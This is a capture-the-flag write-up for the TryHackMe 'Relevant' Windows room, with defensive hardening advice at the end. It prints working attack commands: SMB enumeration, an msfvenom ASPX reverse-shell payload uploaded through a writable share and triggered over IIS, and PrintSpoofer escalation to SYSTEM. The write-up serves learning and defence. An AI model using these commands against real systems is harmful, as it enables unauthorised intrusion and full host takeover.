back to writeups

Relevant

TryHackMe · tryhackme.com/room/relevant
Windows Medium SMB · IIS · SeImpersonate ● Completed
▶ Watch the walkthrough
TL;DR A writable SMB share (nt4wrksv) is also served by IIS on a high port → drop an ASPX webshell for RCE as the app-pool account → SeImpersonatePrivilege → PrintSpoofer for SYSTEM.

01Recon

nmap -sC -sV -p- -oN nmap/relevant 10.10.X.X
# 80, 135, 139, 445 SMB, 3389 RDP, 49663 (IIS HTTP), 49667
smbclient -N -L //10.10.X.X/           # share: nt4wrksv (READ/WRITE)
smbclient -N //10.10.X.X/nt4wrksv
# get passwords.txt -> base64 creds (Bob / Bill)

02Foothold — SMB → IIS webshell

The nt4wrksv share maps to http://10.10.X.X:49663/nt4wrksv/. Upload an ASPX webshell to the share and browse to it for code execution:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f aspx -o shell.aspx
smbclient -N //10.10.X.X/nt4wrksv -c 'put shell.aspx'
# trigger:
curl http://10.10.X.X:49663/nt4wrksv/shell.aspx     # -> shell as iis apppool\defaultapppool
user.txtTHM{…} (Bob's Desktop)

03Privilege Escalation — SeImpersonate

whoami /priv        # SeImpersonatePrivilege = Enabled
# potato-style privesc:
.\PrintSpoofer64.exe -i -c cmd     # -> NT AUTHORITY\SYSTEM
root.txtTHM{…} (Administrator Desktop)

04Takeaways

◆If this were my environment

A writable SMB share mapped into the IIS web root allowed direct web-shell execution, and a service token retained an impersonation privilege. I would break both conditions and harden the Windows host from a tested baseline.

Priority controls
  • Separate content-upload storage from executable web roots; deny script execution in writable directories and scan accepted file types.
  • Remove guest or broad write access from SMB shares, require signing and audit successful writes to web and service paths.
  • Run IIS application pools under dedicated virtual accounts with the minimum privileges and constrain token impersonation exposure.
  • Apply Microsoft, CIS or DISA baselines through policy and validate drift continuously rather than relying on one-time configuration.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups